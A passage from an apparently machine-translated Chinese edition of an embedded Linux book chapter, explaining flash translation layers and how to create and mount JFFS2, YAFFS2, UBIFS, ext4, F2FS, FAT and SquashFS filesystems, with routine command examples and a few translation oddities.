如何通过文件系统或块设备驱动程序处理这些问题。 - -# 闪存的文件系统 - -在将闪存有效地用于大容量存储时,存在几个挑战:擦除块和磁盘扇区的大小不匹配,每个擦除块的擦除周期有限,以及需要在 NAND 芯片上处理坏块。 这些差异通过**闪存转换层**或**FTL**来解决。 - -## Flash 转换层 - -FLASH 平移层具有以下特征: - -* **子分配**:文件系统使用较小的分配单元(通常是 512 字节的扇区)工作得最好。 这比 128 KiB 或更大的闪存擦除块小得多。 因此,擦除块必须细分为更小的单元,以避免浪费大量空间。 -* **垃圾收集**:子分配的结果是,一旦文件系统已经使用了一段时间,擦除块将包含良好数据和陈旧数据的混合。 由于我们只能释放整个擦除块,因此回收此可用空间的唯一方法是将好的数据合并到一个位置,然后将现在为空的擦除块返回到空闲列表。 这称为垃圾回收,通常作为后台线程实现。 -* **磨损平衡**:每个块的擦除周期数有限制。 为了最大限度地延长芯片的寿命,移动数据以使每个块被擦除的次数大致相同,这一点很重要。 -* **坏块处理**:在 NAND 闪存芯片上,您必须避免使用任何标记为坏块的块,如果无法擦除,还应将好块标记为坏块。 -* **健壮性**:嵌入式设备可能会在没有警告的情况下关机或重置,因此任何文件系统都应该能够在不损坏的情况下进行处理,通常是通过合并日志或事务日志来实现的。 - -有几种方式可以部署闪存转换层: - -* **在文件系统**中:与 JFFS2、YAFFS2 和 UBIFS 一样。 -* **在块设备驱动程序**中:UBIFS 所依赖的 UBI 驱动程序实现了闪存转换层的某些方面。 -* **在设备控制器**中:与受管理的闪存设备相同。 - -当闪存转换层位于文件系统或块驱动程序中时,代码是内核的一部分,因此它是开源的,这意味着我们可以看到它是如何工作的,并且可以预期它会随着时间的推移而改进。 另一方面,如果 FTL 位于受管理的闪存设备中,它将隐藏在视图中,我们无法验证它是否如我们所希望的那样工作。 不仅如此,将 FTL 放入磁盘控制器还意味着它错过了保存在文件系统层的信息,例如哪些扇区属于已删除的文件,因此不再包含有用的数据。 后一个问题通过添加在文件系统和设备之间传递此信息的命令来解决。 我将在稍后关于 Trim 命令的一节中描述这是如何工作的。 然而,代码可见性的问题仍然存在。 如果您使用的是托管闪存,您只需选择一家您可以信任的制造商即可。 - -既然我们了解了文件系统背后的动机,让我们来看看哪些文件系统最适合哪种类型的闪存。 - -# NOR 和 NAND 闪存的文件系统 - -要将原始闪存芯片用于大容量存储,您必须使用了解底层技术特性的文件系统。 有三种这样的文件系统: - -* **JFFS2(日志闪存文件系统 2)**:这是 Linux 的第一个闪存文件系统,至今仍在使用。 它适用于 NOR 和 NAND 内存,但在挂载过程中速度非常慢。 -* **YAFFS2(另一个闪存文件系统 2)**:这类似于 JFFS2,但特别针对 NAND 闪存的。 它被谷歌采纳为 Android 设备上首选的原始闪存文件系统。 -* **UBIFS(Unsorted Block Image File System)**:它与 UBI 块驱动程序配合使用,以创建可靠的闪存文件系统。 它可以很好地与 NOR 和 NAND 存储器配合使用,而且由于它通常提供比 JFFS2 或 YAFFS2 更好的性能,它应该是新设计的首选解决方案。 - -所有这些都使用 MTD 作为闪存的公共接口。 - -## JFFS2 - -**日志闪存文件系统**始于 1999 年 Axis 2100 网络摄像头的软件。 多年来,它一直是 Linux 唯一的闪存文件系统,已经部署在数千种不同类型的设备上。 今天,它不是最好的选择,但我将首先介绍它,因为它显示了进化道路的开始。 - -JFFS2 是一个日志结构的文件系统,它使用 MTD 访问闪存。 在日志结构的文件系统中,更改作为节点顺序写入闪存。 节点可能包含对目录的更改,如创建和删除的文件名,也可能包含对文件数据的更改。 一段时间后,一个节点可能会被后续节点中包含的信息取代,成为过时的节点。 NOR 和 NAND 闪存都被组织为擦除块。 擦除块会将其所有位设置为 1。 - -JFFS2 将擦除块分为三种类型: - -* **释放**:这根本不包含任何节点。 -* **清理**:这只包含有效节点。 -* **Dirty**:这至少包含一个过时节点。 - -在任何时候,都有一个块接收更新,这称为打开块。 如果断电或系统重置,则可能丢失的唯一数据是对打开数据块的最后一次写入。 此外,节点在写入时会被压缩,从而增加闪存芯片的有效存储容量,如果您使用的是昂贵的 NOR 闪存,这一点很重要。 - -当空闲块的数量低于某个阈值时,启动垃圾收集器内核线程,该线程扫描脏块,将有效节点复制到打开的块中,然后释放脏块。 - -同时,垃圾收集器提供了一种粗略的损耗均衡形式,因为它会将有效数据从一个块循环到另一个块。 选择打开块的方式意味着每个块被擦除的次数大致相同,只要它包含不时变化的数据即可。 有时,会选择一个干净的块进行垃圾回收,以确保包含很少写入的静态数据的块也是负载均衡的。 - -JFFS2 文件系统具有直写缓存,这意味着写入内容会被同步写入闪存,就好像它们是使用`-o`sync 选项挂载的一样。 在提高可靠性的同时,它确实增加了写入数据的时间。 小型写入还有一个进一步的问题:如果写入的长度与节点标头的大小(40 字节)相当,则开销会很高。 一个众所周知的角落案例是日志文件,例如,由`syslogd`生成。 - -### 汇总节点 - -JFFS2 有一个突出的缺点:由于没有片上索引,因此必须在挂载时通过从头到尾读取日志来推断目录的结构。 在扫描结束时,您对有效节点的目录结构有了一个完整的了解,但是所花费的时间与分区的大小成正比。 每兆字节大约 1 秒的挂载时间并不少见,这导致总挂载时间为数十秒或数百秒。 - -摘要节点成为 Linux 2.6.15 中的一个选项,用于减少挂载期间的扫描时间。 摘要节点被写入打开的擦除块的末尾,恰好在其关闭之前。 摘要节点包含装载时扫描所需的所有信息,从而减少了扫描期间要处理的数据量。 摘要节点可以以大约 5%的存储空间开销为代价,将装载时间减少到原来的 1/2 到 1/5。 它们通过`CONFIG_JFFS2_SUMMARY`内核配置启用。 - -### 干净的记号笔 - -所有位都设置为 1 的已擦除块与已用 1 写入的块无法区分,但后者尚未刷新其存储单元,并且在其被擦除之前不能再次编程。 JFFS2 使用一种称为**清理标记**的机制来区分这两种情况。 成功擦除块后,会将一个干净的标记写入块的开头或块的第一页的 OOB 区域。 如果干净标记存在,则它必须是干净块。 - -### 创建 JFFS2 文件系统 - -在运行时创建一个空的 JFFS2 文件系统非常简单,只需用干净的标记擦除 MTD 分区,然后挂载它即可。 没有格式化步骤,因为空白 JFFS2 文件系统完全由空闲块组成。 例如,要格式化 MTD 分区 6,您需要在设备上输入以下命令: - -```sh -# flash_erase -j /dev/mtd6 0 0 -# mount -t jffs2 mtd6 /mnt -``` - -`flash_erase`的`-j`选项添加干净的标记,使用`jffs2`类型挂载会将分区显示为空文件系统。 请注意,要安装的设备指定为`mtd6`,而不是`/dev/mtd6`。 或者,您可以将块指定为`/dev/mtdblock6`设备节点。 这只是 JFFS2 的一个特性。 挂载后,您可以像对待任何其他文件系统一样对待它。 - -您可以使用`mkfs.jffs2`写出 JFFS2 格式的文件,使用`sumtool`添加摘要节点,可以直接从开发系统的登台区创建文件系统映像。 这两个都是`mtd-utils`包的一部分。 - -例如,要为擦除块大小为 128 KiB(`0x20000`)且具有摘要节点的 NAND 闪存设备创建`rootfs`中文件的映像,可以使用以下两个命令: - -```sh -$ mkfs.jffs2 -n -e 0x20000 -p -d ~/rootfs -o ~/rootfs.jffs2 -$ sumtool -n -e 0x20000 -p -i ~/rootfs.jffs2 -o ~/rootfs-sum.jffs2 -``` - -`-p`选项在图像文件的末尾添加填充,使其成为整数个擦除块。 `-n`选项禁止在图像中创建清洁标记,这对于 NAND 设备来说是正常的,因为清洁标记位于 OOB 区域。 对于 NOR 设备,您可以省略`-n`选项。 您可以使用带有`mkfs.jffs2`的设备表,通过添加`-D [device table]`来设置文件的权限和所有权。 当然,Buildroot 和 Yocto 项目将为您完成所有这些工作。 - -您可以从引导加载程序将映像编程到闪存中。 例如,如果已将文件系统映像加载到地址为`0x82000000`的 RAM 中,并且要将其加载到闪存分区中,该分区从闪存芯片的开始处开始,长度为`0x163000`字节,长度为`0x7a9d000`字节,则用于此目的的 U-Boot 命令如下所示: - -```sh -nand erase clean 163000 7a9d000 -nand write 82000000 163000 7a9d000 -``` - -您可以在 Linux 中使用`mtd`驱动程序执行相同的操作,如下所示: - -```sh -# flash_erase -j /dev/mtd6 0 0 -# nandwrite /dev/mtd6 rootfs-sum.jffs2 -``` - -要使用 JFFS2 根文件系统引导,您需要在分区的内核命令行上传递`mtdblock`设备和一个`rootfstype`,因为无法 -自动检测到 JFFS2: - -```sh -root=/dev/mtdblock6 rootfstype=jffs2 -``` - -在引入 JFFS2 后不久,出现了另一个日志结构的文件系统。 - -## YAFFS2 - -YAFFS 文件系统是 Charles Manning 从 2001 年开始编写的,具体地说是在 JFFS2 不能处理 NAND 闪存芯片的时候编写的 -。 随后的更改以处理更大(2 KiB)的页面大小导致了 YAFFS2。 青年渔农处的网址是[https://www.yaffs.net](https://www.yaffs.net)。 - -YAFFS 也是一个日志结构的文件系统,它遵循与 JFFS2 相同的设计原则。 不同的设计决策意味着它具有更快的装载时间扫描、更简单、更快的垃圾收集,并且没有压缩,这以降低存储使用效率为代价加快了读写速度。 - -YAFFS 并不局限于 Linux;它已经被移植到广泛的操作系统上。 它拥有双重许可:GPLv2,以便与 Linux 兼容,以及用于其他操作系统的商业许可。 不幸的是,YAFFS 代码从未合并到主流 Linux 中,因此您必须为内核打补丁。 - -要获取 YAFFS2 并修补内核,您需要使用以下命令: - -```sh -$ git clone git://www.aleph1.co.uk/yaffs2 -$ cd yaffs2 -$ ./patch-ker.sh c m -``` - -然后,您可以使用`CONFIG_YAFFS_YAFFS2`配置内核。 - -### 创建 YAFFS2 文件系统 - -与 JFFS2 一样,要在运行时创建一个 YAFFS2 文件系统,您只需要擦除分区并挂载它,但请注意,在这种情况下,您不需要启用干净标记: - -```sh -# flash_erase /dev/mtd/mtd6 0 0 -# mount -t yaffs2 /dev/mtdblock6 /mnt -``` - -要创建文件系统映像,最简单的做法是通过以下命令在[https://code.google.com/p/yaffs2utils](https://code.google.com/p/yaffs2utils)中使用`mkyaffs2`工具: - -```sh -$ mkyaffs2 -c 2048 -s 64 rootfs rootfs.yaffs2 -``` - -这里,`-c`是页面大小,`-s`是 OOB 大小。 YAFFS 代码中有一个名为`mkyaffs2image`的工具,但它有几个缺点。 首先,页面和 OOB 大小在源代码中是硬编码的:如果内存与默认值 2,048 和 64 不匹配,则必须编辑并重新编译。 其次,OOB 布局与 MTD 不兼容,MTD 使用前两个字节作为坏块标记,而`mkyaffs2image`使用这些字节存储部分 YAFFS 元数据。 - -要从目标系统上的 Linux shell 提示符将映像复制到 MTD 分区,请执行以下步骤: - -```sh -# flash_erase /dev/mtd6 0 0 -# nandwrite -a /dev/mtd6 rootfs.yaffs2 -``` - -要使用 YAFFS2 根文件系统引导,请将以下内容添加到内核命令行: - -```sh -root=/dev/mtdblock6 rootfstype=yaffs2 -``` - -当我们谈到原始 NOR 和 NAND 闪存的文件系统时,让我们来看看一种更现代的选择。 该文件系统在 UBI 驱动程序之上运行。 - -## UBI 和 UBIFS - -**未排序块映像**(**UBI**)驱动程序是闪存的卷管理器,负责坏块处理和损耗均衡。 它是由 Artem Bityutski 实现的,最早出现在 Linux2.6.22 中。 与此同时,诺基亚的工程师们正在开发一种文件系统,它将利用 UBI 的特性,他们称之为**UBIFS**;它出现在 Linux2.6.27 中的。 以这种方式拆分闪存转换层使代码更加模块化,还允许其他文件系统利用 UBI 驱动程序,我们稍后将看到这一点。 - -### UBI - -UBI 通过将**个物理擦除块**(**PEB**)映射到**个逻辑擦除块**(**LEB**)来提供闪存芯片的理想、可靠视图。 坏块没有映射到 LEB 和,因此永远不会使用。 如果某个块无法擦除,则将其标记为坏块并从映射中删除。 UBI 在 LEB 的报头中记录每个 PEB 已被擦除的次数,然后更改映射以确保每个 PEB 被擦除相同的次数。 - -UBI 通过 MTD 层访问闪存。 作为一个额外的特性,它可以将一个 MTD 分区划分为多个 UBI 卷,从而通过以下方式改进损耗平衡:假设您有两个文件系统,一个包含相当静态的数据(如根文件系统),另一个包含不断变化的数据。 - -如果它们存储在单独的 MTD 分区中,则损耗均衡只会影响第二个分区,而如果您选择将它们存储在单个 MTD 分区中的两个 UBI 卷中,则会在两个存储区域中进行损耗均衡,并且会延长闪存的寿命。 下图说明了这种情况: - -![Figure 9.4 – UBI volumes](img/B11566_09_04.jpg) - -图 9.4-UBI 卷 - -通过这种方式,UBI 满足闪存转换层的两个要求:损耗均衡和坏块处理。 - -要为 UBI 准备 MTD 分区,不需要像 JFFS2 和 YAFFS2 那样使用`flash_erase`。 相反,您可以使用`ubiformat`实用程序,该实用程序保留存储在 PEB 标题中的擦除计数。 `ubiformat`需要知道 I/O 的最小单位,对于大多数 NAND 闪存芯片来说,I/O 的最小单位是页面大小,但一些芯片允许在页面大小的一半或四分之一的子页中进行读写。 有关详细信息,请参阅芯片数据手册,如果有疑问,请使用页面大小。 此示例使用`2048`字节的页面大小准备`mtd6`: - -```sh -# ubiformat /dev/mtd6 -s 2048 -ubiformat: mtd0 (nand), size 134217728 bytes (128.0 MiB), -1024 eraseblocks of 131072 bytes (128.0 KiB), -min. I/O size 2048 bytes -``` - -然后,您可以使用`ubiattach`命令在以这种方式准备的 MTD 分区上加载 UBI 驱动程序: - -```sh -# ubiattach -p /dev/mtd6 -O 2048 -UBI device number 0, total 1024 LEBs (130023424 bytes, 124.0 MiB), -available 998 LEBs (126722048 bytes, 120.9 MiB), -LEB size 126976 bytes (124.0 KiB) -``` - -这将创建`/dev/ubi0`设备节点,您可以通过该节点访问 UBI 卷。 您可以在多个 MTD 分区上使用`ubiattach`,在这种情况下,可以通过`/dev/ubi1`、`/dev/ubi2`等访问它们。 注意,由于每个 LEB 具有包含 UBI 使用的元信息的报头 -,因此 LEB 比 PEB 小两页。 例如,PEB 大小为 128 KiB、页面为 2 KiB 的芯片的 LEB 为 124 KiB。 这是创建 UBIFS 映像时需要的重要信息。 - -PEB 到 LEB 的映射在连接阶段加载到内存中,该过程所需的时间与 PEB 的数量成比例,通常为几秒钟。 Linux3.7 中添加了一项名为 UBI Fast map 的新功能,该功能会不时对到闪存的映射设置检查点,从而减少连接时间。 这方面的内核配置选项是`CONFIG_MTD_UBI_FASTMAP`。 - -在`ubiformat`之后首次连接到 MTD 分区时,将没有卷。 您可以使用`ubimkvol`创建卷。 例如,假设您有一个 128 MiB 的 MTD 分区,您希望将其拆分为两个卷;第一个卷的大小为 32 MiB,第二个卷将占用剩余空间: - -```sh -# ubimkvol /dev/ubi0 -N vol_1 -s 32MiB -Volume ID 0, size 265 LEBs (33648640 bytes, 32.1 MiB), -LEB size 126976 bytes (124.0 KiB), dynamic, name "vol_1", alignment 1 -# ubimkvol /dev/ubi0 -N vol_2 -m -Volume ID 1, size 733 LEBs (93073408 bytes, 88.8 MiB), -LEB size 126976 bytes (124.0 KiB), dynamic, name "vol_2", alignment 1 -``` - -现在,您有了一个具有两个节点的设备:`/dev/ubi0_0`和`/dev/ubi0_1`。 您可以使用`ubinfo`确认这一点: - -```sh -# ubinfo -a /dev/ubi0 -ubi0 -Volumes count: 2 -Logical eraseblock size: 126976 bytes, 124.0 KiB -Total amount of logical eraseblocks: 1024 (130023424 bytes, 124.0 MiB) -Amount of available logical eraseblocks: 0 (0 bytes) -Maximum count of volumes 128 -Count of bad physical eraseblocks: 0 -Count of reserved physical eraseblocks: 20 -Current maximum erase counter value: 1 -Minimum input/output unit size: 2048 bytes -Character device major/minor: 250:0 -Present volumes: 0, 1 -Volume ID: 0 (on ubi0) -Type: dynamic -Alignment: 1 -Size: 265 LEBs (33648640 bytes, 32.1 MiB) -State: OK -Name: vol_1 -Character device major/minor: 250:1 ------------------------------------ -Volume ID: 1 (on ubi0) -Type: dynamic -Alignment: 1 -Size: 733 LEBs (93073408 bytes, 88.8 MiB) -State: OK -Name: vol_2 -Character device major/minor: 250:2 -``` - -此时,您拥有一个 128 MiB 的 MTD 分区,其中包含两个大小为 -32 MiB 和 88.8 MiB 的 UBI 卷。 可用的总存储是 32MiB 加上 88.8MiB,相当于 120.8 MiB。 剩余的 7.2MiB 空间由每个 PEB 开始时的 UBI 标头占用,并保留空间用于映射在芯片生命周期 -期间变坏的块。 - -### UBIFS - -UBIFS 使用 UBI 卷创建健壮的文件系统。 它添加子分配和垃圾收集,以创建完整的闪存转换层。 与 JFFS2 和 YAFFS2 不同,它将索引信息存储在芯片上,因此挂载速度很快,尽管不要忘记预先附加 UBI 卷可能需要大量时间。 它还允许像在普通磁盘文件系统中那样回写缓存,这意味着写入速度要快得多,但存在一个常见问题,即在断电时可能会丢失尚未从缓存刷新到闪存的数据。 您可以通过 -仔细使用`fsync(2)`和`fdatasync(2)`函数在关键点强制刷新文件数据来解决此问题。 - -UBIFS 有一个日志,可在断电时进行快速恢复。 日志的最小大小为 4 MiB,因此 UBIFS 不适合非常小的闪存设备。 - -创建 UBI 卷后,您可以使用卷的设备节点(如`/dev/ubi0_0`)或使用整个分区的设备节点加上卷名来挂载它们,如下所示: - -```sh -# mount -t ubifs ubi0:vol_1 /mnt -``` - -为 UBIFS 创建文件系统映像的过程分为两个阶段:首先,使用`mkfs.ubifs`创建一个 UBIFS 映像,然后使用`ubinize`将其嵌入到 UBI 卷中。 - -对于第一阶段,需要用`-m`通知`mkfs.ubifs`页面大小,用`-e`通知 UBI LEB 的大小,用`-c`通知卷中擦除块的最大数量。 如果第一个卷为 32 MiB,擦除块为 128 KiB,则擦除块的数量为 256。 因此,要获取`rootfs`目录的内容并创建名为`rootfs.ubi`的 UBIFS 映像,您需要键入以下内容: - -```sh -$ mkfs.ubifs -r rootfs -m 2048 -e 124KiB -c 256 -o rootfs.ubi -``` - -第二个阶段要求您为`ubinize`创建一个配置文件,该文件描述了映像中每个卷的特征。 帮助页面(`ubinize -h`)提供了有关格式的详细信息。 此示例创建两个卷`vol_1`和`vol_2`: - -```sh -[ubifsi_vol_1] -mode=ubi -image=rootfs.ubi -vol_id=0 -vol_name=vol_1 -vol_size=32MiB -vol_type=dynamic -[ubifsi_vol_2] -mode=ubi -image=data.ubi -vol_id=1 -vol_name=vol_2 -vol_type=dynamic -vol_flags=autoresize -``` - -第二个卷具有`auto-resize`标志,因此将扩展以填充 MTD 分区上的剩余空间。 只有一个卷可以具有此标志。 根据该信息,`ubinize`将创建一个由`-o`参数命名的图像文件,其中 PEB 大小为`-p`,页面大小为`-m`,子页面大小为`-s`: - -```sh -$ ubinize -o ~/ubi.img -p 128KiB -m 2048 -s 512 ubinize.cfg -``` - -要在目标系统上安装此映像,您需要在目标系统上输入以下命令: - -```sh -# ubiformat /dev/mtd6 -s 2048 -# nandwrite /dev/mtd6 /ubi.img -# ubiattach -p /dev/mtd6 -O 2048 -``` - -如果您希望使用 UBIFS 根文件系统引导,则需要提供以下内核命令行参数: - -```sh -ubi.mtd=6 root=ubi0:vol_1 rootfstype=ubifs -``` - -UBIFS 完成了我们对原始 NOR 和 NAND 闪存文件系统的调查。 接下来,我们将查看托管闪存的文件系统。 - -# 托管闪存的文件系统 - -随着托管闪存技术(尤其是 eMMC)趋势的继续,我们需要考虑如何有效地使用它。 虽然它们看起来与硬盘驱动器具有相同的特性,但底层 NAND 闪存芯片具有擦除周期有限的大擦除块和坏块处理的限制。 当然,我们还需要在断电的情况下保持健壮性。 - -可以使用任何普通的磁盘文件系统,但我们应该尝试选择一种可以减少磁盘写入并在意外关机后快速重新启动的系统。 - -## Flashbench - -为了最大限度地利用底层闪存,您需要知道擦除块大小和页面大小。 制造商通常不公布这些数字,但可以通过观察芯片或卡的行为来推断它们。 - -Flashbench 就是这样一个工具。 它最初是由 Arnd Bergman 编写的,如可在[https://lwn.net/Articles/428584](https://lwn.net/Articles/428584)上找到的 LWN 文章中所述。 您可以从[https://github.com/bradfa/flashbench](https://github.com/bradfa/flashbench)获取代码。 - -以下是 SanDisk 4 GB SDHC 卡上的典型运行: - -```sh -$ sudo ./flashbench -a /dev/mmcblk0 --blocksize=1024 -align 536870912 pre 4.38ms on 4.48ms post 3.92ms diff 332µs -align 268435456 pre 4.86ms on 4.9ms post 4.48ms diff 227µs -align 134217728 pre 4.57ms on 5.99ms post 5.12ms diff 1.15ms -align 67108864 pre 4.95ms on 5.03ms post 4.54ms diff 292µs -align 33554432 pre 5.46ms on 5.48ms post 4.58ms diff 462µs -align 16777216 pre 3.16ms on 3.28ms post 2.52ms diff 446µs -align 8388608 pre 3.89ms on 4.1ms post 3.07ms diff 622µs -align 4194304 pre 4.01ms on 4.89ms post 3.9ms diff 940µs -align 2097152 pre 3.55ms on 4.42ms post 3.46ms diff 917µs -align 1048576 pre 4.19ms on 5.02ms post 4.09ms diff 876µs -align 524288 pre 3.83ms on 4.55ms post 3.65ms diff 805µs -align 262144 pre 3.95ms on 4.25ms post 3.57ms diff 485µs -align 131072 pre 4.2ms on 4.25ms post 3.58ms diff 362µs -align 65536 pre 3.89ms on 4.24ms post 3.57ms diff 511µs -align 32768 pre 3.94ms on 4.28ms post 3.6ms diff 502µs -align 16384 pre 4.82ms on 4.86ms post 4.17ms diff 372µs -align 8192 pre 4.81ms on 4.83ms post 4.16ms diff 349µs -align 4096 pre 4.16ms on 4.21ms post 4.16ms diff 52.4µs -align 2048 pre 4.16ms on 4.16ms post 4.17ms diff 9ns -``` - -`flashbench`读取 1024 字节的块,在本例中为恰好在各种 2 次方边界之前和之后。 当您跨过页面或擦除块边界时,边界之后的读取需要更长时间。 最右边的一列显示了不同之处,也是最有趣的一列。 从底部看,4 KiB 有一个很大的跳跃,这是最有可能的页面大小。 在 8 KiB 时,从 52.4µs 到 349µs 有第二次跳跃。 这是相当常见的,表明该卡可以使用多平面访问来同时读取两个 4 KiB 页面。 除此之外,差异不是很明显,但在 512 KiB 时,从 485µs 明显跃升至 805µs,这可能就是擦除块的大小。 考虑到正在测试的卡相当旧,这些数字是您所期望的。 - -## 丢弃和修剪 - -通常,删除文件时,只将修改后的目录节点写入存储,而包含文件内容的扇区保持不变。 当闪存转换层位于磁盘控制器中时,就像被管理的闪存一样,它不知道这组磁盘扇区不再包含有用的数据,因此它最终复制过时的数据。 - -在过去几年中,将有关已删除扇区的信息向下传递到磁盘控制器的事务的添加改善了这种情况。 SCSI 和 SATA 规范有一个`TRIM`命令,而 MMC 有一个类似的命令,名为`ERASE`。 在 Linux 中,此特性称为**Discard**。 - -要使用 Discard,您需要一个支持它的存储设备(大多数最新的 eMMC 芯片都支持)和一个与之匹配的 Linux 设备驱动程序。 您可以通过查看`/sys/block//queue/`中的块系统队列参数来检查这一点。 - -值得关注的项目如下: - -* `discard_granularity`:设备内部分配单元的大小。 -* `discard_max_bytes`:一次可以丢弃的最大字节数。 -* `discard_zeroes_data`:如果为`1`,则丢弃的数据将设置为`0`。 - -如果设备或设备驱动程序不支持丢弃,则这些值都将设置为`0`。 例如,您将从我的 Beaglebone Black 上的 2 GiB eMMC 芯片中看到以下参数: - -```sh -# grep -s "" /sys/block/mmcblk0/queue/discard_* -/sys/block/mmcblk0/queue/discard_granularity:2097152 -/sys/block/mmcblk0/queue/discard_max_bytes:2199023255040 -/sys/block/mmcblk0/queue/discard_zeroes_data:1 -``` - -更多信息可以在内核文档文件中找到;即`Documentation/block/queue-sysfs.txt`。 - -通过在`mount`命令中添加`-o discard`选项,可以在挂载文件系统时启用放弃。 Ext4 和 F2FS 都支持它。 - -给小费 / 翻倒 / 倾覆 - -在使用`-o discard`装载选项之前,请确保存储设备支持丢弃,因为可能会发生数据丢失。 - -也可以从命令行强制放弃,而不考虑如何使用`fstrim`命令挂载分区,`fstrim`命令是`util-linux`包的一部分。 通常,您将定期运行此命令以释放未使用的空间。 `fstrim`在已挂载的文件系统上运行,因此要修剪根文件系统`/`,您需要键入以下命令: - -```sh -# fstrim -v / -/: 2061000704 bytes were trimmed -``` - -前面的示例使用详细选项`-v`,以便打印出可能已释放的字节数。 在本例中,2,061,000,704 是文件系统中可用空间量的近似值,因此这是可以削减的最大存储量。 - -## ext4 - -自 1992 年以来,**扩展文件系统**、**EXT**、一直是 Linux 桌面的主要文件系统。 当前版本**ext4**非常稳定且经过良好测试,并且有一个日志,可以快速地从计划外关闭中恢复,而且几乎没有痛苦。 它是托管闪存设备的一个很好的选择,您会发现它是具有 eMMC 存储的 Android 设备的首选文件系统。 如果设备支持丢弃,您可以使用`-o discard`选项进行挂载。 - -要在运行时格式化和创建 ext4 文件系统,您需要键入以下内容: - -```sh -# mkfs.ext4 /dev/mmcblk0p2 -# mount -t ext4 -o discard /dev/mmcblk0p1 /mnt -``` - -要在构建时创建文件系统映像,可以使用[http://genext2fs.sourceforge.net](http://genext2fs.sourceforge.net)提供的`genext2fs`实用程序。 在本例中,我用`-B`指定了块大小,用`-b`指定了图像中的块数: - -```sh -$ genext2fs -B 1024 -b 10000 -d rootfs rootfs.ext4 -``` - -`genext2fs`可以使用设备表设置文件权限和所有权,如[*第 5 章*](05.html#_idTextAnchor122),*使用`-D [file table]`构建根文件系统*中所述。 - -顾名思义,这实际上将生成`Ext2`格式的图像。 您可以使用`tune2fs`升级到`Ext4`,如下所示(有关该命令选项的详细信息,请参阅`tune2fs(8)`手册页): - -```sh -$ tune2fs -j -J size=1 -O filetype,extents,uninit_bg,dir_index \ -rootfs.ext4 -$ e2fsck -pDf rootfs.ext4 -``` - -Yocto 项目和 Buildroot 在创建 -`Ext4`格式的图像时都使用这些步骤。 - -虽然日志是可能在没有警告的情况下断电的设备的资产,但它确实会给每个写入事务增加额外的写入周期,从而耗尽闪存。 如果设备由电池供电,特别是当电池不可拆卸时,意外断电的可能性很小,因此您可能希望省略日志。 - -即使使用日志记录,意外断电时也可能发生文件系统损坏。 在许多设备中,按住电源按钮、拔下电源线或拔出电池可能会导致立即关机。 由于缓冲 I/O 的性质,如果在写入完成刷新到存储之前断电,则写出闪存的数据可能会丢失。 出于这些原因,最好在用户分区上以非交互方式运行`fsck`,以便在挂载之前检查并修复任何文件系统损坏。 否则,腐败可能会随着时间的推移而加剧,直到它成为一个严重的问题。 - -## КолибриF2FSпрограмма - -**闪存友好文件系统**,称为**F2FS**,是一个日志结构的文件系统,专为受管理的闪存设备设计,特别是 eMMC 芯片和 SD 卡。 它是由三星编写的,并在 3.8 版中并入主流 Linux。 它被标记为试验性的,表明它还没有得到广泛的部署,但似乎有一些安卓设备正在使用它。 - -F2F 会考虑页面和擦除块大小,然后尝试在这些边界上对齐数据。 日志格式在断电时提供了弹性,还提供了良好的写入性能,在某些测试中显示比 ext4 提高了两倍。 在`Documentation/filesystems/f2fs.txt`的内核文档中对 F2F 的设计有很好的描述,在本章末尾的*进一步阅读*一节中也有参考。 - -`mkfs.f2fs`实用程序创建具有`-l`标签的空 F2FS 文件系统: - -```sh -# mkfs.f2fs -l rootfs /dev/mmcblock0p1 -# mount -t f2fs /dev/mmcblock0p1 /mnt -``` - -(到目前为止)还没有可以用来离线创建 F2FS 文件系统映像的工具。 - -## FAT16/32 - -旧的微软文件系统 FAT16 和 FAT32 作为大多数操作系统理解的通用格式仍然很重要。 当您购买 SD 卡或 USB 闪存驱动器时,几乎肯定会将其格式化为 FAT32,在某些情况下,卡上微控制器还针对 FAT32 访问模式进行了优化。 此外,一些引导 ROM 需要 FAT 分区用于第二阶段引导加载程序-例如,基于 TI OMAP 的芯片。 然而,FAT 格式绝对不适合存储关键文件,因为它们容易损坏,并且对存储空间的利用不佳。 - -Linux 通过`msdos`文件系统支持 FAT16,通过`vfat`文件系统支持 FAT32 和 FAT16。 要在第二个 MMC 硬件适配器上挂载设备(例如 SD 卡),请键入以下内容: - -```sh -# mount -t vfat /dev/mmcblock1p1 /mnt -``` - -重要音符 - -过去,vFAT 驱动程序一直存在许可问题,这可能会(也可能不会)侵犯微软持有的一项专利。 - -FAT32 对设备大小的限制为 32GiB。 较大容量的设备可以使用 Microsoft exFAT 格式进行格式化,这是 SDXC 卡的要求。 ExFAT 没有内核驱动程序,但是可以通过用户空间熔丝驱动程序来支持它。 由于 exFAT 是 Microsoft 专有的,如果您的设备支持此格式,必然会涉及许可问题。 - -对于面向托管闪存的读写文件系统来说,这就是问题所在。 那么节省空间的只读文件系统呢? 选择很简单:SquashFS。 - -# 只读压缩文件系统 - -如果没有足够的存储空间容纳所有内容,则压缩数据非常有用。 默认情况下,JFFS2 和 UBIFS 都执行动态数据压缩。 但是,如果文件是永远不会被写入,就像根文件系统通常的情况一样,您可以通过使用只读压缩文件系统来获得更好的压缩比。 Linux 支持其中几个:`romfs`、`cramfs`和`squashfs`。 前两个现在已经过时了,所以我只描述 SquashFS。 - -## SquashFS - -SquashFS 文件系统是由 PhillipLougher 在 2002 年作为 crmfs 的替代品编写的。 它作为内核补丁存在了很长一段时间,最终在 2009 年被合并到主线 Linux 的 2.6.29 版本中。 它非常容易使用:您可以使用`mksquashfs`创建文件系统映像,并将其安装到闪存中: - -```sh -$ mksquashfs rootfs rootfs.squashfs -``` - -生成的文件系统是只读的,因此没有在运行时修改任何文件的机制。 更新 SquashFS 文件系统的唯一方法是擦除整个分区并在新映像中编程。 - -SquashFS 不能识别坏块,因此必须与可靠的闪存(如 NOR 闪存)配合使用。 但是,只要您使用 UBI 创建模拟的、可靠的 MTD,它就可以在 NAND 闪存上使用。 您必须启用`CONFIG_MTD_UBI_BLOCK`内核配置,这将为每个 UBI 卷创建一个只读 MTD 块设备。 下图显示了两个 MTD 分区,每个分区都附带`mtdblock`设备。 第二个分区还用于创建 UBI 卷,该卷公开为第三个可靠的`mtdblock`设备,您可以将其用于任何不能识别坏块的只读文件系统: - -![Figure 9.5 – UBI volume](img/B11566_09_05.jpg) - -图 9.5-UBI 卷 - -只读文件系统非常适合不变的内容,但是如果临时文件不需要在重新引导后保持不变呢? 这就是 RAM 磁盘派上用场的地方。 - -# 临时文件系统 - -总是有一些文件在重新启动后生存期较短或没有意义。 许多这样的文件被放入`/tmp`中,因此防止这些文件进入永久存储是有意义的。 - -临时文件系统`tmpfs`非常适合于此目的。 只需挂载 tmpfs 即可创建基于 RAM 的临时文件系统: - -```sh -# mount -t tmpfs 